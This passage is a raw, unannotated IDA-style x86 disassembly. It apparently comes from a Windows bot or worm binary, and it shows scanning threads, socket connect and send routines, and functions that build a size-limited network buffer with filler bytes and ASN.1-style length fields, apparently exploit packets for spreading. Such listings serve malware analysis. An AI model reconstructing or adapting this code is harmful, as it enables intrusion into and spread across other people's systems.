mov edi, eax
push [ebp+arg_0]
push dword_43DEB4[ebx]
push [ebp+var_3C]
push edi
call dword_4CB000
push eax
lea eax, [ebp+var_28C]
push offset unk_431A7C
push eax
call sub_41B886
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43DCB0[ebx]
push eax
call sub_41B886
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C087
add esp, 14h
cmp eax, 1
jnz loc_40C31D
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C271
push offset dword_4CD0C0
nop
call near ptr 77F7E21Fh
push [ebp+var_3C]
push edi
call dword_4CB000
push eax
lea eax, [ebp+var_28C]
push offset unk_431A54
push eax
call sub_41B886
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C253
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C247
lea eax, [ebp+var_140]
loc_40C247: ; CODE XREF: sub_40C124+11Bj
push eax
push [ebp+var_40]
call sub_409A72
add esp, 14h
loc_40C253: ; CODE XREF: sub_40C124+100j
lea eax, [ebp+var_28C]
push eax
call sub_4151AC
mov [esp+29Ch+var_29C], offset dword_4CD0C0
call near ptr 77F7E300h
nop
jmp loc_40C31D
; ---------------------------------------------------------------------------
loc_40C271: ; CODE XREF: sub_40C124+D0j
push edi
call dword_4CB000
push eax
lea eax, [ebp+var_208]
push eax
call sub_41B886
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41B886
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C2B6
lea eax, [ebp+var_140]
loc_40C2B6: ; CODE XREF: sub_40C124+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41B886
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_431414[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C31D: ; CODE XREF: sub_40C124+C6j
; sub_40C124+148j
push 7D0h
nop
call near ptr 2660F2Dh
jmp loc_40C16B
; ---------------------------------------------------------------------------
loc_40C32D: ; CODE XREF: sub_40C124+55j
push esi
call sub_40B412
pop ecx
push 0
nop
call near ptr 26D0000h
loc_40C33C: ; DATA XREF: sub_401ACD+1F81o
; sub_401ACD+5C48o
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CAFB4
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CB0C0[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BACD
push 0Bh
call sub_40B33E
add esp, 150h
cmp eax, ebx
jnz short loc_40C40A
mov esi, offset dword_4CD0C0
push esi
nop
call near ptr 26E0000h
push 80000400h
push esi
call near ptr 26D0547h
nop
test eax, eax
jnz short loc_40C40A
lea eax, [ebp+var_1CC]
push offset unk_431B60
push eax
call sub_41B886
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C3F4
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A72
add esp, 14h
loc_40C3F4: ; CODE XREF: sub_40C124+2B1j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C40A: ; CODE XREF: sub_40C124+27Bj
; sub_40C124+297j
mov eax, [ebp+var_2C]
mov esi, dword_427078
mov edi, ebx
mov dword_4CB0C4[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C4D7
loc_40C428: ; CODE XREF: sub_40C124+3ADj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_431B2C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B0F6
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43DEB4[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C124
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40C4A2
loc_40C497: ; CODE XREF: sub_40C124+37Cj
cmp [ebp+var_4], ebx
jnz short loc_40C4C9
push 1Eh
call esi
jmp short loc_40C497
; ---------------------------------------------------------------------------
loc_40C4A2: ; CODE XREF: sub_40C124+371j
nop
call near ptr 2670897h
push eax
lea eax, [ebp+var_1CC]
push offset unk_431AF4
push eax
call sub_41B886
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
add esp, 10h
loc_40C4C9: ; CODE XREF: sub_40C124+376j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C428
loc_40C4D7: ; CODE XREF: sub_40C124+2FEj
cmp [ebp+var_30], ebx
jz loc_40C581
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40C4EC: ; CODE XREF: sub_40C124+468j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CB0C0[eax*8]
push eax
call dword_4CB000
push eax
lea eax, [ebp+var_1CC]
push offset unk_431AB4
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C53A
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A72
add esp, 14h
loc_40C53A: ; CODE XREF: sub_40C124+3F7j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4CB0C4[eax*8], ebx
call esi
push 0Bh
call sub_40B33E
cmp eax, 1
pop ecx
jnz short loc_40C571
push offset dword_4CD0C0
nop
call near ptr 26E0000h
loc_40C571: ; CODE XREF: sub_40C124+440j
push [ebp+var_2C]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
loc_40C581: ; CODE XREF: sub_40C124+3B6j
; sub_40C124+475j
mov eax, [ebp+var_2C]
cmp dword_4CB0C4[eax*8], 1
jnz loc_40C4EC
push 7D0h
call esi
jmp short loc_40C581
sub_40C124 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C59B proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CAF74
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CAFF4
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C659
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CAF1C
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43DEBC[ecx], esi
jz short loc_40C659
push [ebp+var_38]
push [ebp+var_28]
call dword_4CB000
push eax
mov edi, offset dword_4CDA84
push offset dword_431B94
push edi
call sub_41B886
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409A72
push edi
call sub_4151AC
add esp, 28h
loc_40C659: ; CODE XREF: sub_40C59B+5Dj
; sub_40C59B+7Ej
push esi
call dword_4CB00C
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C59B endp
; ---------------------------------------------------------------------------
dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
; DATA XREF: sub_401ACD+603Eo
dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
dd 1BBC68FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
dd 40C59Bh, 0E8905757h, 2263910h, 4589C73Bh, 390B74FCh
dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0BBE890FCh, 0FF022442h
dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h
db 0FFh
byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo
dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h
dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 1068FFFFh
dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 0E8575700h
dd 2263820h, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h
dd 0FFF5EBD6h, 0E8900875h, 22441CAh, 8CB3FFh, 0BB890000h
dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h
dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0E468FFFFh
dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh
dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
db 4, 0
; =============== S U B R O U T I N E =======================================
sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep
; sub_40CADA+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C866 endp
; =============== S U B R O U T I N E =======================================
sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C8A2
push ebx
push 0
push edi
call sub_41B590
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41C310
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C8A2: ; CODE XREF: sub_40C870+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C870 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p
; sub_40CA1E+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C8F6
push edi
push 0
push esi
call sub_41B590
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41C310
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41C310
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C8AA endp
; =============== S U B R O U T I N E =======================================
sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep
; sub_40C9A4+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C90F
push eax
call sub_41B0B1
pop ecx
loc_40C90F: ; CODE XREF: sub_40C8FF+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C8FF endp
; =============== S U B R O U T I N E =======================================
sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p
; sub_40CA7F+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C945
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C949
loc_40C945: ; CODE XREF: sub_40C918+Dj
xor al, al
jmp short loc_40C9A0
; ---------------------------------------------------------------------------
loc_40C949: ; CODE XREF: sub_40C918+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41B590
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C96E
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40C988
; ---------------------------------------------------------------------------
loc_40C96E: ; CODE XREF: sub_40C918+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40C988: ; CODE XREF: sub_40C918+54j
push eax
call sub_41C310
add esp, 0Ch
push dword ptr [esi]
call sub_41B0B1
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C9A0: ; CODE XREF: sub_40C918+2Fj
pop edi
pop esi
pop ebx
retn
sub_40C918 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p
; sub_40CADA+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4CAE2C
call sub_40C8AA
lea ecx, [ebp+var_8]
call sub_40C918
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C9DE
xor al, al
jmp short loc_40CA1A
; ---------------------------------------------------------------------------
loc_40C9DE: ; CODE XREF: sub_40C9A4+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41B590
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41C310
add esp, 18h
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C8FF
mov al, 1
loc_40CA1A: ; CODE XREF: sub_40C9A4+38j
pop edi
pop esi
leave
retn
sub_40C9A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p
; sub_40CA6F+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C8AA
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CA1E endp
; =============== S U B R O U T I N E =======================================
sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p
; sub_40CADA+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41AFE0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CA1E
pop esi
retn 4
sub_40CA52 endp
; =============== S U B R O U T I N E =======================================
sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp
; sub_40CADA+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CA1E
retn 8
sub_40CA6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p
; sub_40CADA+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C918
test al, al
jz short loc_40CAB8
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42C8F0
call sub_40C8AA
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj
pop esi
leave
retn
sub_40CA7F endp
; =============== S U B R O U T I N E =======================================
sub_40CABB proc near ; CODE XREF: sub_40CADA+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CA6F
test al, al
jz short loc_40CAD6
mov ecx, esi
call sub_40CA7F
loc_40CAD6: ; CODE XREF: sub_40CABB+12j
pop esi
retn 8
sub_40CABB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CADA proc near ; CODE XREF: ___:0040D361p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C866
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CE2E
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CE2E
push esi
lea ecx, [ebp+var_30]
call sub_40C866
lea ecx, [ebp+var_20]
call sub_40C866
lea ecx, [ebp+var_50]
call sub_40C866
lea ecx, [ebp+var_18]
call sub_40C866
lea ecx, [ebp+var_40]
call sub_40C866
lea ecx, [ebp+var_38]
call sub_40C866
lea ecx, [ebp+var_28]
call sub_40C866
push 4
push offset dword_431C48
lea ecx, [ebp+var_30]
call sub_40CA1E
push 3
push offset dword_431C50
lea ecx, [ebp+var_30]
call sub_40CA1E
lea ecx, [ebp+var_30]
call sub_40C9A4
lea ecx, [ebp+var_30]
call sub_40CA7F
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CA1E
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CA1E
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CA1E
lea ecx, [ebp+var_20]
call sub_40C9A4
push offset loc_431FCC
lea ecx, [ebp+var_50]
call sub_40CA52
lea ecx, [ebp+var_50]
call sub_40C9A4
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C870
lea ecx, [ebp+var_58]
call sub_40C9A4
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CABB
lea ecx, [ebp+var_58]
call sub_40C8FF
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41B590
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CA52
push 4
push offset dword_431C54
lea ecx, [ebp+var_18]
call sub_40CA1E
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CA1E
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CA1E
lea ecx, [ebp+var_18]
call sub_40C9A4
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CA6F
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CA6F
lea ecx, [ebp+var_40]
call sub_40CA7F
lea ecx, [ebp+var_18]
call sub_40C8FF
lea ecx, [ebp+var_50]
call sub_40C8FF
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CA6F
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CA6F
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CA6F
lea ecx, [ebp+var_38]
call sub_40CA7F
lea ecx, [ebp+var_20]
call sub_40C8FF
lea ecx, [ebp+var_30]
call sub_40C8FF
lea ecx, [ebp+var_40]
call sub_40C8FF
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CA1E
lea ecx, [ebp+var_28]
call sub_40C9A4
push 2
push offset dword_431FC0
lea ecx, [ebp+var_28]
call sub_40CA1E
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CA6F
lea ecx, [ebp+var_28]
call sub_40CA7F
lea ecx, [ebp+var_38]
call sub_40C8FF
lea ecx, [ebp+var_10]
call sub_40C866
lea ecx, [ebp+var_8]
call sub_40C866
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CA6F
lea ecx, [ebp+var_10]
call sub_40C918
lea ecx, [ebp+var_28]
call sub_40C8FF
push offset dword_431FBC
lea ecx, [ebp+var_8]
call sub_40CA52
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C918
lea ecx, [ebp+var_10]
call sub_40C8FF
push offset dword_431FB8
lea ecx, [ebp+var_10]
call sub_40CA52
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CA6F
lea ecx, [ebp+var_10]
call sub_40C918
lea ecx, [ebp+var_8]
call sub_40C8FF
push offset dword_431FAC
lea ecx, [ebp+var_8]
call sub_40CA52
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C918
lea ecx, [ebp+var_10]
call sub_40C8FF
push (offset loc_431FA7+1)
lea ecx, [ebp+var_48]
call sub_40CA52
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C8FF
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40CE3C
; ---------------------------------------------------------------------------
loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj
; sub_40CADA+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40CE3C: ; CODE XREF: sub_40CADA+352j
pop edi
pop ebx
leave
retn
sub_40CADA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p
; sub_40CF04+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
nop
call near ptr 71AB1890h
cmp eax, edi
jnz short loc_40CEA7
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40CEAB
loc_40CEA7: ; CODE XREF: sub_40CE40+54j
xor eax, eax
jmp short loc_40CEBB
; ---------------------------------------------------------------------------
loc_40CEAB: ; CODE XREF: sub_40CE40+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CAF8C
loc_40CEBB: ; CODE XREF: sub_40CE40+69j
pop edi
pop esi
leave
retn
sub_40CE40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p
; sub_40CF04+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CAF70
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp eax, 4
jz short loc_40CEE9
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CEE9: ; CODE XREF: sub_40CEBF+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CAFC4
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CEBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p
; ___:0040D452p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CF2D
xor al, al
jmp loc_40CFD9
; ---------------------------------------------------------------------------
loc_40CF2D: ; CODE XREF: sub_40CF04+20j
push ebx
push 0
push esi
call sub_41B590
push 2Fh
push offset dword_431CE4
push esi
call sub_41C310
push 8
lea eax, [esi+31h]
push offset dword_431D14
push eax
mov [esi+2Fh], di
call sub_41C310
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41C310
push 6
add ebx, edi
push offset dword_4CDC8C
push ebx
call sub_41C310
mov ebx, [ebp+arg_0]
push 85h
push offset dword_431C5C
push ebx
call sub_40CEBF
add esp, 48h
test al, al
jnz short loc_40CF95
loc_40CF91: ; CODE XREF: sub_40CF04+B5j
xor bl, bl
jmp short loc_40CFD0
; ---------------------------------------------------------------------------
loc_40CF95: ; CODE XREF: sub_40CF04+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE40
push [ebp+var_4]
push esi
push ebx
call sub_40CEBF
add esp, 1Ch
test al, al
jz short loc_40CF91
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE40
add esp, 10h
mov bl, 1
loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj
push esi
call sub_41B0B1
pop ecx
mov al, bl
loc_40CFD9: ; CODE XREF: sub_40CF04+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CF04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
